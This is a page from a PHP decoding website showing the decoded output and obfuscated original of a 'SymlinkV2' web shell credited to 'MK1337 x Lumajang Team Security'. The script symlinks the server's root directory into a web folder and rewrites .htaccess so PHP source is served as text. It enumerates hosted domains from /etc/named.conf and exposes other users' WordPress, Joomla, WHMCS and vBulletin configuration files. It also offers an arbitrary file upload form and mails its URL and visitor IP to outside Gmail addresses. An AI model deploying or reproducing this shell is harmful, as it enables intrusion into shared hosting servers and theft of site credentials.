Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto oeKjl; ioQnU: ${${"\107\x4c\x4f\x42\x41\114\123"}["\x72\x64\x72\166\137\147\x65\165\..

Decoded Output download

<?   goto oeKjl; ioQnU: ${${"GLOBALS"}["rdrv_geuaaziphaoulzbpqpbvuy_sl_snlctbut"]} = "fix {${${"GLOBALS"}["znzdtrxyscefi_velgrwjsdtorcrgwtagkioh"]}} :p *IP Address : [ " . ${${"GLOBALS"}["wjvndmeekidul_yfxatwqiioe_gljf_"]}["REMOTE_ADDR"] . " ]"; goto m0icN; Wi0f9: echo "<br /><div class="hedr"><font color="#009900">-:[ MK1337 x Lumajang Team Security ]:-</font><br /><br /></div>"; goto HIW7V; xSBsT: $IIIIIIIIIIIl = str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1) - 1], '', $IIIIIIIIIIIl); goto bx01h; aKnWA: echo "<br /><div class="hedr"> <font color="white">JAYALAH</font> <font color="red">JANDAKU!</a> <br /></div>"; goto Wi0f9; wR5rr: $IIIIIIIIIlIl = basename("index.php"); goto aKnWA; RDVIA: fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1); goto oSl1N; oeKjl: echo " "; goto XHT3A; m0icN: mail(${${"GLOBALS"}["_a_r_ijovdpzzhglbzhgkxr"]}, "LOGGER", ${${"GLOBALS"}["rdrv_geuaaziphaoulzbpqpbvuy_sl_snlctbut"]}, "[ " . ${${"GLOBALS"}["wjvndmeekidul_yfxatwqiioe_gljf_"]}["REMOTE_ADDR"] . " ]"); goto OV4d_; tgmS9: ini_set("memory_limit", "64M"); goto VbSyL; nl5b0: ${${"GLOBALS"}["znzdtrxyscefi_velgrwjsdtorcrgwtagkioh"]} = "http://" . ${${"GLOBALS"}["wjvndmeekidul_yfxatwqiioe_gljf_"]}["SERVER_NAME"] . ${${"GLOBALS"}["wjvndmeekidul_yfxatwqiioe_gljf_"]}["REQUEST_URI"]; goto ioQnU; I18fF: ${"GLOBALS"}["_a_r_ijovdpzzhglbzhgkxr"] = "tujuanmail"; goto BSra3; Z25RY: $IIIIIIIIIII1 = explode("/", $IIIIIIIIIIIl); goto xSBsT; VbSyL: header("Content-Type: text/html; charset=UTF-8"); goto jg3Ox; oSl1N: @symlink("/", "mk1337/root"); goto wR5rr; BSra3: ${"GLOBALS"}["znzdtrxyscefi_velgrwjsdtorcrgwtagkioh"] = "x_path"; goto pE0Ld; jg3Ox: ${${"GLOBALS"}["_a_r_ijovdpzzhglbzhgkxr"]} = "[email protected], [email protected]"; goto nl5b0; nSFyQ: $IIIIIIIIIIIl = "http://" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto Z25RY; HIW7V: echo "<div class="cont">
\xa[<a href="?"> Home </a>]\xa
[<a href="?sws=mk1337"> User & Domains & Symlink </a>]
\xa[<a href="?sws=sec"> Domains & Script </a>]
\xa[ <a href="?sws=file"> Symlink File </a>]<br /><br /><br />\xa\xa
\xa\xa

</div>"; goto ds4kG; XHT3A: @set_time_limit(0); goto nSFyQ; AgEXO: @mkdir("mk1337", 511); goto sQHVb; bx01h: echo "  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html>\xa
<head>
<title>SymlinkV2 &mdash; MK1337 - Lumajang Team Security</title>
<meta name="description" content="SymlinkV2 &mdash MK1337 - Lumajang Team Security">
<meta content="MataKucing" name="author">
<link rel="icon" href="https://d.top4top.io/p_20605rvdu1.png" />
<link rel="shortcut-icon" href="https://d.top4top.io/p_20605rvdu1.png">\xa
<style type="text/css">

  html,body {\xa     margin: 0;
     padding: 0;\xa     outline: 0;\xa}\xa

body {
    background-image: url("https://b.top4top.io/p_2061hyv9d1.jpg");\xa    background-repeat: no-repeat;\xa    margin: 0px;\xa    padding: 50px;
    padding-top: 100px;
    color: #FFF;\xa    font-family: Calibri;\xa    font-size: 13px;
    text-align: center
}\xa\xainput,textarea,select{\xacolor: #222222;\xa    text-shadow: #000 0px 0px 4px;\xa    font-weight: bold;\xa    border: 2px solid #007700;
    background: #ababab;\xa    box-shadow: 0px 0px 4px #007700;;\xa    -webkit-box-shadow: rgb(0, 119, 0) 0px 0px 4px;\xa    -moz-box-shadow: rgb(0, 119, 0) 0px 0px 4px;\xa}\xa
\xa.hedr {
  font-family: Tahoma, Arial, sans-serif  ;\xa  font-size: 22px;\xa

}

.cont a{\xawidth: 1000px;\xa    /*border: 1px solid #007700;*/\xa    color: #009900;
    box-shadow: 0px 0px 4px #007700;\xa}

.cont a:hover{
\xa/* color: #e4e4e4; */
    text-shadow: #00bb00 0px 0px 4px;
    box-shadow: 0px 0px 4px #00bb00;
    border: 1px solid #00bb00;\xa    -webkit-border-radius: 4px;\xa    -moz-border-radius: 4px;\xa    border-radius: 4px;\xa    -webkit-box-shadow: rgba(0, 221, 0) 0px 0px 4px;
    -moz-box-shadow: rgba(0, 221, 0) 0px 0px 4px;\xa\xa\xa}

.tmp tr td{
\xaborder: solid 1px #BBBBBB;\xa\xapadding: 2px ;\xa  font-size: 13px;
}\xa\xa.tmp tr td a {
  text-decoration: none;



}\xa\xa.foter{\xa  font-size: 9pt;
  color: #AAAAAA ;
  text-align: center\xa}
\xa.tmp tr td:hover{

/* color: #e4e4e4; */
    text-shadow: #00bb00 0px 0px 4px;\xa    box-shadow: 0px 0px 4px #00bb00;
    border: 1px solid #00bb00;
    -webkit-border-radius: 4px;\xa    -moz-border-radius: 4px;
    border-radius: 4px;\xa    -webkit-box-shadow: rgba(0, 221, 0) 0px 0px 4px;\xa    -moz-box-shadow: rgba(0, 221, 0) 0px 0px 4px;\xa\xa}\xa .fot\xa  {
   text-shadow: #00bb00 0px 0px 4px;
    color: #FFF;
    font-family: Calibri;\xa    font-size: 13px;
    color: #009900;
}\xa\xa.ir {
  color: #FF0000;\xa}
\xa
.mk1337{\xamax-width: -webkit-fill-available;\xa    width: 1000px;\xa    border: 1px solid #007700;\xa    box-shadow: 0px 0px 4px #007700;
    }
</style>
\xa</head>
\xa<body><center>\xa<div class="mk1337">
<div class='all'>\xa

"; goto AgEXO; iE3Qj: set_time_limit(0); goto tgmS9; B2wXQ: @ini_set("display_errors", 0); goto iE3Qj; NIafz: ${"GLOBALS"}["rdrv_geuaaziphaoulzbpqpbvuy_sl_snlctbut"] = "pesan_alert"; goto vUFCA; xypHg: $IIIIIIIIII1I = @fopen("mk1337/.htaccess", "w"); goto RDVIA; ds4kG: if (isset($_REQUEST["sws"])) { switch ($_REQUEST["sws"]) { case "sec": $IIIIIIIIIllI = @file("/etc/named.conf"); if (!$IIIIIIIIIllI) { die(" can't read /etc/named.conf"); } else { echo "<div class='tmp'>\xa<table align='center' width='40%'><td> Domains </td><td> Script </td>"; foreach ($IIIIIIIIIllI as $IIIIIIIIIll1) { if (eregi("zone", $IIIIIIIIIll1)) { preg_match_all("#zone "(.*)"#", $IIIIIIIIIll1, $IIIIIIIIIl11); flush(); if (strlen(trim($IIIIIIIIIl11[1][0])) > 2) { $IIIIIIIII1I1 = posix_getpwuid(@fileowner("/etc/valiases/" . $IIIIIIIIIl11[1][0])); $IIIIIIIII1l1 = $IIIIIIIIIIIl . "/mk1337/root/home/" . $IIIIIIIII1I1["name"] . "/public_html/wp-config.php"; $IIIIIIIII11I = get_headers($IIIIIIIII1l1); $IIIIIIIII11l = $IIIIIIIII11I[0]; $IIIIIIIII111 = $IIIIIIIIIIIl . "/mk1337/root/home/" . $IIIIIIIII1I1["name"] . "/public_html/blog/wp-config.php"; $IIIIIIIIlIII = get_headers($IIIIIIIII111); $IIIIIIIIlIIl = $IIIIIIIIlIII[0]; $IIIIIIIIlII1 = $IIIIIIIIIIIl . "/mk1337/root/home/" . $IIIIIIIII1I1["name"] . "/public_html/configuration.php"; $IIIIIIIIlIlI = get_headers($IIIIIIIIlII1); $IIIIIIIIlIll = $IIIIIIIIlIlI[0]; $IIIIIIIIlIl1 = $IIIIIIIIIIIl . "/mk1337/root/home/" . $IIIIIIIII1I1["name"] . "/public_html/joomla/configuration.php"; $IIIIIIIIlI1I = get_headers($IIIIIIIIlIl1); $IIIIIIIIlI1l = $IIIIIIIIlI1I[0]; $IIIIIIIIlI11 = $IIIIIIIIIIIl . "/mk1337/root/home/" . $IIIIIIIII1I1["name"] . "/public_html/includes/config.php"; $IIIIIIIIllII = get_headers($IIIIIIIIlI11); $IIIIIIIIllIl = $IIIIIIIIllII[0]; $IIIIIIIIllI1 = $IIIIIIIIIIIl . "/mk1337/root/home/" . $IIIIIIIII1I1["name"] . "/public_html/vb/includes/config.php"; $IIIIIIIIlllI = get_headers($IIIIIIIIllI1); $IIIIIIIIllll = $IIIIIIIIlllI[0]; $IIIIIIIIlll1 = $IIIIIIIIIIIl . "/mk1337/root/home/" . $IIIIIIIII1I1["name"] . "/public_html/forum/includes/config.php"; $IIIIIIIIll1I = get_headers($IIIIIIIIlll1); $IIIIIIIIll1l = $IIIIIIIIll1I[0]; $IIIIIIIIll11 = $IIIIIIIIIIIl . "/mk1337/root/home/" . $IIIIIIIII1I1["name"] . "public_html/clients/configuration.php"; $IIIIIIIIl1II = get_headers($IIIIIIIIll11); $IIIIIIIIl1Il = $IIIIIIIIl1II[0]; $IIIIIIIIl1I1 = $IIIIIIIIIIIl . "/mk1337/root/home/" . $IIIIIIIII1I1["name"] . "/public_html/support/configuration.php"; $IIIIIIIIl1II = get_headers($IIIIIIIIl1I1); $IIIIIIIIl1lI = $IIIIIIIIl1II[0]; $IIIIIIIIl1ll = $IIIIIIIIIIIl . "/mk1337/root/home/" . $IIIIIIIII1I1["name"] . "/public_html/client/configuration.php"; $IIIIIIIIl1l1 = get_headers($IIIIIIIIl1ll); $IIIIIIIIl11I = $IIIIIIIIl1l1[0]; $IIIIIIIIl11l = $IIIIIIIIIIIl . "/mk1337/root/home/" . $IIIIIIIII1I1["name"] . "/public_html/submitticket.php"; $IIIIIIIIl111 = get_headers($IIIIIIIIl11l); $IIIIIIII1III = $IIIIIIIIl111[0]; $IIIIIIII1IIl = $IIIIIIIIIIIl . "/mk1337/root/home/" . $IIIIIIIII1I1["name"] . "/public_html/client/configuration.php"; $IIIIIIII1II1 = get_headers($IIIIIIII1IIl); $IIIIIIII1IlI = $IIIIIIII1II1[0]; $IIIIIIII1Ill = strpos($IIIIIIIII11l, "200"); $IIIIIIII1I1I = "&nbsp;"; if (strpos($IIIIIIIII11l, "200") == true) { $IIIIIIII1I1I = "<a href='" . $IIIIIIIII1l1 . "' target='_blank'>Wordpress</a>"; } elseif (strpos($IIIIIIIIlIIl, "200") == true) { $IIIIIIII1I1I = "<a href='" . $IIIIIIIII111 . "' target='_blank'>Wordpress</a>"; } elseif (strpos($IIIIIIIIlIll, "200") == true and strpos($IIIIIIII1III, "200") == true) { $IIIIIIII1I1I = " <a href='" . $IIIIIIIIl11l . "' target='_blank'>WHMCS</a>"; } elseif (strpos($IIIIIIIIl1lI, "200") == true) { $IIIIIIII1I1I = " <a href='" . $IIIIIIIIl1I1 . "' target='_blank'>WHMCS</a>"; } elseif (strpos($IIIIIIIIl11I, "200") == true) { $IIIIIIII1I1I = " <a href='" . $IIIIIIIIl1ll . "' target='_blank'>WHMCS</a>"; } elseif (strpos($IIIIIIIIlIll, "200") == true) { $IIIIIIII1I1I = " <a href='" . $IIIIIIIIlII1 . "' target='_blank'>Joomla</a>"; } elseif (strpos($IIIIIIIIlI1l, "200") == true) { $IIIIIIII1I1I = " <a href='" . $IIIIIIIIlIl1 . "' target='_blank'>Joomla</a>"; } elseif (strpos($IIIIIIIIllIl, "200") == true) { $IIIIIIII1I1I = " <a href='" . $IIIIIIIIlI11 . "' target='_blank'>vBulletin</a>"; } elseif (strpos($IIIIIIIIllll, "200") == true) { $IIIIIIII1I1I = " <a href='" . $IIIIIIIIllI1 . "' target='_blank'>vBulletin</a>"; } elseif (strpos($IIIIIIIIll1l, "200") == true) { $IIIIIIII1I1I = " <a href='" . $IIIIIIIIlll1 . "' target='_blank'>vBulletin</a>"; } else { continue; } $IIIIIIII1I1l = $IIIIIIIII1I1["name"]; echo "<tr><td><a href=http://www." . $IIIIIIIIIl11[1][0] . "/>" . $IIIIIIIIIl11[1][0] . "</a></td>\xa<td>" . $IIIIIIII1I1I . "</td></tr>"; flush(); } } } } break; case "mk1337": $IIIIIIIIIllI = @file("/etc/named.conf"); if (!$IIIIIIIIIllI) { die(" can't read /etc/named.conf"); } else { echo "<div class='tmp'><table align='center' width='40%'><td>Domains</td><td>Users</td><td>symlink </td>"; foreach ($IIIIIIIIIllI as $IIIIIIIIIll1) { if (eregi("zone", $IIIIIIIIIll1)) { preg_match_all("#zone "(.*)"#", $IIIIIIIIIll1, $IIIIIIIIIl11); flush(); if (strlen(trim($IIIIIIIIIl11[1][0])) > 2) { $IIIIIIIII1I1 = posix_getpwuid(@fileowner("/etc/valiases/" . $IIIIIIIIIl11[1][0])); $IIIIIIII1I1l = $IIIIIIIII1I1["name"]; @symlink("/", "mk1337/root"); $IIIIIIII1I1l = $IIIIIIIIIl11[1][0]; $IIIIIIII1I11 = "\.ir"; $IIIIIIII1lII = "\.il"; if (eregi("{$IIIIIIII1I11}", $IIIIIIIIIl11[1][0]) or eregi("{$IIIIIIII1lII}", $IIIIIIIIIl11[1][0])) { $IIIIIIII1I1l = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>" . $IIIIIIIIIl11[1][0] . "</div>"; } echo "\xa<tr>

<td>
<div class='dom'><a target='_blank' href=http://www." . $IIIIIIIIIl11[1][0] . "/>" . $IIIIIIII1I1l . " </a> </div>
</td>\xa\xa\xa<td>
" . $IIIIIIIII1I1["name"] . "
</td>


\xa
\xa\xa<td>
<a href='mk1337/root/home/" . $IIIIIIIII1I1["name"] . "/public_html' target='_blank'>Symlink </a>\xa</td>
\xa
</tr></div> "; flush(); } } } } break; case "file": echo "
The file path to symlink\xa
<br /><br />\xa<form method="post">\xa<input type="text" name="file" value="/home/user/public_html/file.name" size="60"/><br /><br />
<input type="text" name="symfile" value="file.name_sym ( Ex. :: 1.txt )" size="60"/><br /><br />\xa<input type="submit" value="symlink" name="symlink" /> <br /><br />

\xa
</form>\xa"; $IIIIIIII1lIl = $_POST["file"]; $symfile = $_POST["symfile"]; $symlink = $_POST["symlink"]; if ($symlink) { @symlink("{$IIIIIIII1lIl}", "mk1337/{$symfile}"); echo "<br /><a target="_blank" href="mk1337/" . $symfile . "" >" . $symfile . "</a>"; } break; default: header("Location: {$IIIIIIIIIlIl}"); } } else { echo "<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">"; echo "<input type="file" name="file" value="Choose file" size="60" ><input name="_upl" type="submit" id="_upl" value="Upload"></form>"; if ($_POST["_upl"] == "Upload") { if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) { echo "<br /><br /><b>Uploaded successful !!<br><br>"; } else { echo "<br /><br />Not uploaded !!<br><br>"; } } echo "
<br /><br /><div class="fot">MK1337\xa<br /><br />\xaLumajang Team Security</div> "; } goto MZJi1; vUFCA: @ini_set("output_buffering", 0); goto B2wXQ; MZJi1: echo "

</div>
</div>

</body>
<audio autoplay="true" src="https://f.top4top.io/m_20526cnoz1.mp3" type="audio/mpeg"></audio>
</html>\xa"; goto I18fF; sQHVb: $IIIIIIIIIIl1 = "Options all 
 DirectoryIndex Sux.html \xa AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html \xa AddHandler txt .html \xa Require None 
 Satisfy Any"; goto xypHg; pE0Ld: ${"GLOBALS"}["wjvndmeekidul_yfxatwqiioe_gljf_"] = "_SERVER"; goto NIafz; OV4d_:  ?>

Did this file decode correctly?

Original Code

 goto oeKjl; ioQnU: ${${"\107\x4c\x4f\x42\x41\114\123"}["\x72\x64\x72\166\137\147\x65\165\141\x61\172\x69\160\150\x61\157\x75\x6c\x7a\x62\160\161\x70\142\166\165\x79\137\x73\x6c\x5f\x73\156\x6c\143\x74\x62\165\x74"]} = "\146\151\x78\x20{${${"\x47\x4c\117\x42\101\x4c\x53"}["\x7a\x6e\172\144\x74\162\x78\x79\x73\143\145\x66\x69\137\x76\x65\x6c\147\x72\167\x6a\x73\x64\x74\157\162\143\x72\147\167\164\141\147\153\151\157\x68"]}}\x20\x3a\x70\40\x2a\111\120\x20\101\x64\x64\162\x65\163\x73\x20\x3a\40\x5b\40" . ${${"\x47\114\x4f\x42\101\114\123"}["\x77\x6a\166\x6e\x64\155\x65\x65\x6b\151\144\165\x6c\x5f\x79\x66\x78\141\x74\x77\x71\151\x69\157\145\137\x67\x6c\152\146\137"]}["\122\105\x4d\117\124\x45\x5f\101\x44\x44\122"] . "\x20\135"; goto m0icN; Wi0f9: echo "\x3c\x62\x72\x20\x2f\x3e\x3c\144\151\166\x20\x63\x6c\141\163\x73\75\42\x68\x65\144\162\42\x3e\74\x66\x6f\x6e\164\40\x63\x6f\x6c\157\162\x3d\42\43\x30\60\71\71\60\x30\42\76\55\72\133\x20\x4d\113\x31\x33\x33\67\40\170\40\x4c\165\155\x61\152\141\156\x67\x20\124\x65\x61\155\x20\x53\145\143\165\162\x69\164\x79\x20\x5d\x3a\55\74\57\x66\157\x6e\x74\x3e\74\142\x72\x20\57\x3e\x3c\142\162\x20\x2f\76\x3c\57\144\151\166\x3e"; goto HIW7V; xSBsT: $IIIIIIIIIIIl = str_replace($IIIIIIIIIII1[count($IIIIIIIIIII1) - 1], '', $IIIIIIIIIIIl); goto bx01h; aKnWA: echo "\x3c\142\162\40\x2f\x3e\x3c\x64\x69\x76\x20\x63\x6c\x61\163\163\75\x22\x68\x65\x64\162\x22\x3e\x20\x3c\x66\157\x6e\x74\x20\x63\x6f\x6c\157\162\75\42\x77\x68\x69\x74\145\42\x3e\112\101\131\101\114\x41\x48\74\x2f\146\x6f\x6e\x74\x3e\40\74\146\x6f\156\x74\x20\143\x6f\154\157\x72\75\42\x72\145\x64\42\76\112\101\116\104\101\x4b\125\41\x3c\57\141\x3e\40\x3c\142\x72\x20\57\x3e\74\57\x64\151\166\x3e"; goto Wi0f9; wR5rr: $IIIIIIIIIlIl = basename("\151\156\x64\145\170\56\x70\150\x70"); goto aKnWA; RDVIA: fwrite($IIIIIIIIII1I, $IIIIIIIIIIl1); goto oSl1N; oeKjl: echo "\x20"; goto XHT3A; m0icN: mail(${${"\107\114\x4f\x42\x41\114\x53"}["\137\141\x5f\x72\137\151\152\157\166\144\160\x7a\x7a\x68\x67\154\x62\172\x68\147\x6b\x78\x72"]}, "\x4c\x4f\x47\x47\x45\x52", ${${"\x47\x4c\117\x42\x41\114\x53"}["\x72\144\x72\166\x5f\147\x65\165\x61\141\x7a\x69\x70\x68\x61\157\165\154\172\142\x70\x71\x70\x62\166\165\171\x5f\x73\154\x5f\163\156\x6c\143\x74\x62\x75\x74"]}, "\133\x20" . ${${"\x47\114\x4f\102\x41\x4c\123"}["\x77\x6a\x76\156\144\x6d\145\145\x6b\x69\144\165\154\137\x79\146\x78\x61\x74\167\161\x69\x69\157\145\x5f\147\x6c\152\146\x5f"]}["\x52\x45\115\x4f\124\105\137\101\x44\x44\x52"] . "\40\135"); goto OV4d_; tgmS9: ini_set("\x6d\145\155\x6f\x72\x79\137\x6c\x69\155\x69\164", "\x36\x34\x4d"); goto VbSyL; nl5b0: ${${"\x47\x4c\x4f\x42\x41\x4c\123"}["\172\x6e\172\x64\164\x72\170\171\163\x63\x65\146\151\137\166\145\x6c\x67\162\x77\152\163\144\164\157\162\x63\x72\x67\x77\x74\x61\x67\x6b\x69\157\x68"]} = "\x68\164\x74\160\x3a\57\57" . ${${"\x47\114\117\102\101\114\x53"}["\167\x6a\166\x6e\x64\155\145\x65\x6b\151\144\165\x6c\x5f\171\x66\x78\x61\x74\167\161\151\151\157\145\137\147\x6c\152\146\x5f"]}["\123\x45\x52\126\105\x52\137\116\x41\115\x45"] . ${${"\x47\x4c\117\x42\x41\114\123"}["\167\152\166\x6e\x64\x6d\145\145\x6b\x69\144\165\x6c\137\171\146\170\x61\164\x77\161\x69\151\157\x65\137\147\x6c\152\x66\137"]}["\122\x45\x51\125\x45\x53\124\137\125\x52\111"]; goto ioQnU; I18fF: ${"\107\114\117\x42\x41\114\123"}["\x5f\141\x5f\162\x5f\x69\x6a\x6f\166\x64\x70\x7a\x7a\150\147\154\142\x7a\150\x67\x6b\170\x72"] = "\x74\x75\152\165\x61\156\155\x61\151\x6c"; goto BSra3; Z25RY: $IIIIIIIIIII1 = explode("\x2f", $IIIIIIIIIIIl); goto xSBsT; VbSyL: header("\x43\157\x6e\164\x65\x6e\164\x2d\124\x79\x70\145\x3a\x20\x74\x65\x78\x74\57\150\164\155\x6c\x3b\40\143\150\x61\x72\163\x65\164\x3d\125\124\106\55\x38"); goto jg3Ox; oSl1N: @symlink("\x2f", "\x6d\x6b\61\63\x33\x37\57\162\157\x6f\x74"); goto wR5rr; BSra3: ${"\107\x4c\x4f\x42\x41\x4c\123"}["\172\156\x7a\144\x74\x72\170\171\x73\143\145\146\x69\137\166\x65\x6c\147\162\x77\152\x73\144\x74\x6f\162\143\162\147\167\164\141\147\x6b\151\157\x68"] = "\170\x5f\160\x61\x74\x68"; goto pE0Ld; jg3Ox: ${${"\x47\x4c\117\102\101\114\x53"}["\137\x61\137\162\x5f\151\152\x6f\166\x64\x70\172\x7a\x68\x67\x6c\142\x7a\150\147\153\x78\162"]} = "\70\x66\x61\155\x6f\x73\100\x67\155\141\151\x6c\x2e\143\157\x6d\54\x20\64\146\x61\x6d\x6f\x73\x40\147\155\141\151\x6c\56\143\x6f\x6d"; goto nl5b0; nSFyQ: $IIIIIIIIIIIl = "\x68\x74\x74\160\x3a\x2f\x2f" . $_SERVER["\x53\x45\x52\126\x45\122\137\x4e\x41\115\x45"] . $_SERVER["\122\105\121\125\105\123\124\137\x55\x52\111"]; goto Z25RY; HIW7V: echo "\74\x64\151\x76\40\x63\x6c\x61\163\163\x3d\x22\x63\x6f\x6e\164\x22\76\12\xa\x5b\74\x61\x20\x68\x72\x65\x66\x3d\42\77\42\76\40\110\x6f\155\145\x20\x3c\57\141\x3e\x5d\xa\12\x5b\x3c\141\40\150\x72\145\x66\75\x22\x3f\163\x77\163\x3d\155\x6b\61\63\x33\67\42\x3e\x20\x55\163\145\x72\x20\x26\40\104\157\155\x61\151\x6e\x73\40\46\x20\x53\171\155\154\151\x6e\153\40\x3c\57\141\76\135\12\xa\x5b\74\141\40\150\x72\145\x66\x3d\42\77\163\167\x73\x3d\x73\145\x63\42\x3e\x20\x44\157\155\141\x69\156\x73\40\46\x20\123\x63\x72\x69\x70\164\40\74\x2f\141\76\x5d\12\xa\x5b\x20\74\141\x20\150\x72\145\146\x3d\x22\x3f\163\x77\163\x3d\x66\151\154\145\42\x3e\x20\123\171\155\154\x69\156\x6b\40\x46\151\154\x65\40\x3c\x2f\x61\76\x5d\x3c\142\x72\40\57\76\74\x62\x72\x20\x2f\76\74\142\162\40\57\76\xa\xa\12\xa\xa\12\12\74\57\x64\151\x76\x3e"; goto ds4kG; XHT3A: @set_time_limit(0); goto nSFyQ; AgEXO: @mkdir("\155\153\x31\63\63\67", 511); goto sQHVb; bx01h: echo "\x20\40\74\x21\104\117\x43\124\131\x50\x45\40\150\x74\x6d\x6c\40\x50\125\x42\x4c\x49\103\40\x22\55\x2f\x2f\127\x33\x43\x2f\57\x44\x54\104\40\x58\110\x54\x4d\114\40\61\x2e\x30\40\x53\x74\x72\x69\x63\164\x2f\x2f\105\116\x22\12\40\x20\x20\40\42\150\164\164\x70\x3a\57\x2f\167\x77\x77\x2e\167\63\56\157\162\147\x2f\124\122\57\x78\x68\164\155\x6c\x31\x2f\104\x54\x44\57\170\x68\x74\x6d\154\61\55\163\164\x72\x69\x63\164\56\x64\x74\144\x22\x3e\12\12\x3c\150\164\x6d\x6c\x3e\xa\12\x3c\150\145\x61\x64\x3e\12\x3c\x74\x69\x74\x6c\x65\76\x53\171\x6d\154\151\x6e\x6b\126\62\x20\x26\155\144\141\x73\150\73\40\x4d\x4b\x31\x33\63\67\x20\x2d\40\x4c\x75\155\x61\x6a\141\156\x67\x20\x54\x65\x61\x6d\x20\123\145\143\x75\162\x69\x74\171\x3c\57\164\x69\x74\x6c\145\x3e\12\74\x6d\x65\x74\x61\40\x6e\x61\155\145\x3d\42\x64\x65\163\143\162\x69\160\164\x69\157\156\42\40\143\x6f\x6e\164\x65\156\x74\x3d\42\123\x79\155\154\x69\156\153\126\x32\40\46\x6d\x64\x61\163\x68\x20\115\113\x31\x33\x33\67\40\x2d\40\114\165\155\141\152\x61\156\x67\x20\x54\x65\141\155\x20\123\145\x63\x75\x72\151\164\x79\42\x3e\12\x3c\x6d\145\164\x61\x20\x63\157\x6e\164\145\x6e\164\x3d\x22\x4d\x61\x74\141\x4b\x75\x63\x69\156\147\42\40\156\141\155\x65\75\x22\x61\165\x74\x68\157\x72\42\76\12\74\x6c\151\156\x6b\x20\162\x65\154\x3d\x22\x69\143\157\156\42\x20\x68\x72\145\x66\75\x22\x68\164\x74\160\163\x3a\57\x2f\144\x2e\164\x6f\x70\x34\164\157\x70\56\x69\x6f\x2f\x70\x5f\x32\x30\66\x30\65\x72\166\144\x75\x31\56\x70\156\147\x22\40\x2f\76\12\74\x6c\x69\156\x6b\40\x72\145\154\75\42\x73\150\x6f\x72\x74\x63\x75\164\x2d\x69\143\x6f\x6e\42\x20\150\162\x65\146\x3d\42\150\164\164\x70\x73\72\x2f\x2f\144\56\x74\x6f\160\x34\x74\x6f\x70\x2e\151\157\57\160\137\x32\60\66\x30\65\162\x76\144\165\61\56\160\x6e\x67\x22\76\xa\12\x3c\163\164\171\154\x65\40\164\x79\x70\x65\75\42\x74\145\x78\x74\57\x63\163\163\x22\x3e\12\12\x20\x20\150\164\155\x6c\x2c\x62\x6f\x64\171\40\173\xa\40\40\x20\x20\40\155\141\x72\x67\151\x6e\x3a\40\x30\x3b\12\40\40\x20\x20\x20\160\141\x64\144\x69\x6e\147\72\x20\x30\73\xa\x20\x20\40\40\40\157\165\164\x6c\151\156\145\x3a\40\60\x3b\xa\175\xa\12\12\x62\157\144\x79\40\x7b\12\x20\x20\40\40\x62\x61\x63\x6b\147\162\x6f\x75\x6e\x64\55\x69\155\141\x67\x65\x3a\x20\165\162\x6c\50\42\x68\164\164\x70\163\72\57\57\x62\56\164\x6f\x70\64\164\x6f\160\56\151\x6f\x2f\160\x5f\x32\x30\x36\61\150\x79\166\71\144\x31\56\152\x70\147\x22\x29\73\xa\40\40\x20\40\x62\141\x63\153\x67\x72\157\165\156\144\55\162\145\160\x65\x61\164\72\x20\x6e\x6f\x2d\x72\145\160\x65\141\x74\73\xa\x20\40\40\40\x6d\141\162\147\151\x6e\72\x20\x30\160\x78\x3b\xa\x20\40\x20\40\160\x61\x64\x64\x69\x6e\147\x3a\40\65\x30\x70\170\73\12\x20\40\x20\x20\x70\141\x64\x64\x69\156\147\x2d\x74\x6f\160\72\40\61\x30\x30\x70\x78\73\12\x20\x20\x20\40\x63\157\x6c\157\x72\72\40\43\x46\x46\106\73\xa\x20\x20\x20\40\x66\157\x6e\x74\x2d\x66\141\x6d\x69\x6c\171\x3a\40\x43\x61\154\151\x62\162\x69\73\xa\x20\x20\40\40\146\157\x6e\164\55\163\x69\x7a\145\x3a\40\x31\x33\x70\x78\73\12\40\x20\40\40\x74\145\x78\x74\55\x61\154\x69\147\156\x3a\x20\143\145\156\164\145\x72\12\x7d\xa\xa\151\x6e\x70\x75\164\x2c\x74\145\x78\164\141\x72\x65\x61\54\163\145\154\145\143\164\173\xa\143\157\154\157\x72\72\40\x23\x32\x32\62\62\62\62\x3b\xa\40\40\40\x20\164\145\170\x74\55\163\x68\141\144\157\x77\72\40\43\x30\x30\60\x20\x30\x70\x78\40\60\x70\170\x20\x34\160\x78\73\xa\40\40\x20\40\146\x6f\156\164\55\167\145\x69\x67\150\164\72\40\142\x6f\x6c\144\73\xa\x20\x20\40\40\x62\x6f\162\x64\145\162\72\40\x32\160\x78\40\x73\157\x6c\x69\x64\40\x23\60\x30\x37\x37\x30\60\x3b\12\x20\x20\40\40\x62\x61\143\x6b\147\162\x6f\165\x6e\x64\72\x20\43\141\142\141\142\x61\142\x3b\xa\x20\40\40\x20\x62\157\170\x2d\x73\150\x61\x64\x6f\x77\x3a\x20\x30\x70\170\x20\60\x70\170\x20\x34\x70\x78\x20\x23\60\60\x37\67\x30\x30\73\x3b\xa\40\x20\40\40\55\x77\x65\142\x6b\151\164\x2d\142\157\170\55\x73\150\141\144\x6f\167\x3a\40\x72\x67\x62\x28\60\x2c\x20\61\x31\x39\54\40\60\51\40\60\x70\x78\x20\x30\160\170\40\64\x70\170\x3b\xa\40\40\40\x20\55\x6d\157\x7a\55\142\x6f\x78\55\x73\150\141\144\x6f\x77\72\40\x72\147\x62\x28\60\54\40\x31\x31\x39\x2c\x20\x30\x29\x20\60\x70\170\40\60\x70\x78\x20\64\x70\x78\73\xa\175\xa\12\xa\x2e\x68\145\x64\162\x20\x7b\12\x20\40\x66\x6f\x6e\164\x2d\146\141\x6d\x69\x6c\171\x3a\40\124\141\150\157\x6d\x61\54\40\101\162\x69\141\154\x2c\40\163\x61\x6e\x73\55\163\145\162\x69\146\x20\40\73\xa\40\x20\x66\157\156\164\55\163\x69\172\145\x3a\x20\62\x32\x70\x78\x3b\xa\12\12\175\12\12\56\x63\157\156\x74\x20\141\x7b\xa\x77\151\144\164\150\72\40\x31\x30\60\x30\160\x78\73\xa\x20\40\40\40\57\52\142\x6f\x72\144\145\162\x3a\40\x31\x70\170\x20\163\157\x6c\151\144\x20\x23\60\60\x37\67\